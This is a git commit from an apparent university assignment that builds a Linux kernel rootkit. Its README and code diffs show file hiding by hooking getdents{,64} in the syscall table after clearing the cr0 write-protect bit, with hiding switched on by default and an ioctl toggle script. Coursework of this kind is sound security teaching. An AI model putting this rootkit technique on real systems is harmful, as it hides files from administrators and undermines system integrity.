commit 988431c67ac4e65e787de5dd01c8f401a1bd25af
parent c095ddabeb73914893cb196bd9bc3c833528ed94
Author: deurzen <m.deurzen@tum.de>
Date:   Thu, 26 Nov 2020 15:22:59 +0100
adds changes from rkp repo
Diffstat:
7 files changed, 74 insertions(+), 34 deletions(-)
diff --git a/Makefile b/Makefile
@@ -12,7 +12,7 @@ $(TARGET)-objs := $(SRC_FILES:%.c=%.o)
 
 ccflags-y := -std=gnu99 -Wno-declaration-after-statement
 
-all: test
+all: build
 
 debug: clean
 	@make -C $(KERNELDIR) M=$(PWD) ccflags-y="-DDEBUG" modules
@@ -26,20 +26,20 @@ clean:
 	@make -C $(KERNELDIR) M=$(PWD) clean
 
 test: debug remove clear_dmesg install
-	-@sudo ./check_pingpong.py /proc/g7rkp
+	-@./check_pingpong.py /proc/g7rkp
 	-@dmesg
 
 .PHONY: install
 install:
-	-@sudo insmod ./$(TARGET).ko
+	-@insmod ./$(TARGET).ko
 
 .PHONY: remove
 remove:
-	-@sudo rmmod $(TARGET)
+	-@rmmod $(TARGET)
 
 .PHONY: clear_dmesg
 clear_dmesg:
-	@sudo dmesg -c >/dev/null
+	@dmesg -c >/dev/null
 
 .PHONY: dmesg
 dmesg:
diff --git a/README.md b/README.md
@@ -0,0 +1,50 @@
+# Assignment 3: Kernel Space
+
+This README documents our implementation of assignment 3.
+
+## File Structure
+
+```bash
+.
++--Makefile
++--check_filehiding		The provided checker for filehiding
++--check_pingpong.py	The checker for PingPong with our ioctl-value
++--toggle_filehiding.py	Toggles our filehiding functionality (default: enabled)
++--src/					
+|	+--common.c			Macros for debugging
+|	+--filehide.c		Utility functions for file hiding
+|	+--filehide.h		
+|	+--g7.c				General module setup and ioctl handling
+|	+--hook.c			Our hooked getdents{,64} functions and syscall hooking
+|	+--hook.h
+|	+--ioctl.c			Utility functions for handling ioctl and debugging features
+|	+--ioctl.h			Definitions for our ioctl numbers
+|	+--rootkit.h
+```
+
+## Usage
+
+To install _with_ debug messages: `make debug && sudo make install`; this will generate helpful messages to the kernel log, such as when ioctl requests are received and handled.
+
+To install _without_ debug messages: `make release && sudo make install`; this will run the rootkit in full stealth mode.
+
+## General Approach
+
+ ### Rootkit Control Program
+
+For this part, we relied on our device file in `/proc/g7rkp`.  By implementing operations in a `struct file_operations`, we can react to incoming ioctl requests on our device file. The only meaningful operation is currently `unlocked_ioctl`.
+
+
+### File Hiding
+
+In order to hide files, we had to hook `getdents{,64}`. This is achieved by overwriting the syscall table with our own entries. We faced two hurdles here:
+
+1. Retrieving the syscall table.
+
+   This is solved by the `kallsysms_lookup_name` function, which retrieves the address of the syscall table (stored in `/proc/kallsysm`).
+
+2. Writing into read-only pages.
+
+   This is solved by unsetting the WP bit (cf. Intel IA64 & IA-32 SDM, Vol. 3A 2-15) of the control register cr0, allowing us to overwrite the entries in the syscall table.
+
+In our hooked `getdents{,64}` functions, we first of all execute the original syscall. After that, we gather every entry in the directory that `getdents{,64}` was called on and store them if the extented attribute `user.rootkit` is set to `rootkit`. This is done by iterating the `d_subidrs` linked list. With all this information, we can now loop over the `linux_dirent` array and remove every entry we want to hide.
diff --git a/src/filehide.c b/src/filehide.c
@@ -9,7 +9,7 @@
 #include "filehide.h"
 #include "hook.h"
 
-#define SIZE 64
+#define BUFLEN 64
 
 void
 hide_files(void)
@@ -33,11 +33,11 @@ unhide_files(void)
 unsigned long
 must_hide_inode(struct dentry *dentry)
 {
-    char buf[SIZE];
+    char buf[BUFLEN];
 
     if(dentry && dentry->d_inode)
         if(!inode_permission(dentry->d_inode, MAY_READ)) {
-            ssize_t len = vfs_getxattr(dentry, G7_XATTR_NAME, buf, SIZE);
+            ssize_t len = vfs_getxattr(dentry, G7_XATTR_NAME, buf, BUFLEN);
 
             if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL)))
                 return dentry->d_inode->i_ino;
diff --git a/src/g7.c b/src/g7.c
@@ -40,7 +40,7 @@ static struct file_operations g7_fops =
 
 
 rootkit_t rootkit = {
-    .hiding_files = false,
+    .hiding_files = true,
 };
 
 
diff --git a/src/hook.c b/src/hook.c
@@ -42,6 +42,9 @@ init_hooks(void)
 
     atomic_set(&getdents64_count, 0);
     sys_getdents64 = (void *)sys_calls[__NR_getdents64];
+
+    if (rootkit.hiding_files)
+        hide_files();
 }
 
 void
diff --git a/toggle_filehide.py b/toggle_filehide.py
@@ -1,25 +0,0 @@
-#!/usr/bin/env python3
-
-import fcntl
-import os
-import unittest
-import argparse
-import sys
-
-IOCTL_FILEHIDE = 0x80084001
-
-proc_fd = None
-
-class TestIOCTLPing(unittest.TestCase):
-    def test_filehide(self):
-        arg = b"FILEHIDE"
-        res = fcntl.ioctl(proc_fd, IOCTL_FILEHIDE, arg)
-        self.assertEqual(res, b"FILEHIDE")
-
-if __name__ == "__main__":
-    parser = argparse.ArgumentParser()
-    parser.add_argument("proc_file")
-    args, remaining = parser.parse_known_args()
-    proc_fd = os.open(args.proc_file, os.O_RDWR)
-
-    unittest.main(argv=[sys.argv[0]] + remaining)
diff --git a/toggle_filehiding.py b/toggle_filehiding.py
@@ -0,0 +1,12 @@
+#!/usr/bin/env python3
+
+import fcntl
+import os
+import sys
+
+IOCTL_FILEHIDE = 0x80084001
+
+if __name__ == "__main__":
+    proc_file = "/proc/g7rkp"
+    proc_fd = os.open(proc_file, os.O_RDWR)
+    fcntl.ioctl(proc_fd, IOCTL_FILEHIDE, b"FILEHIDE");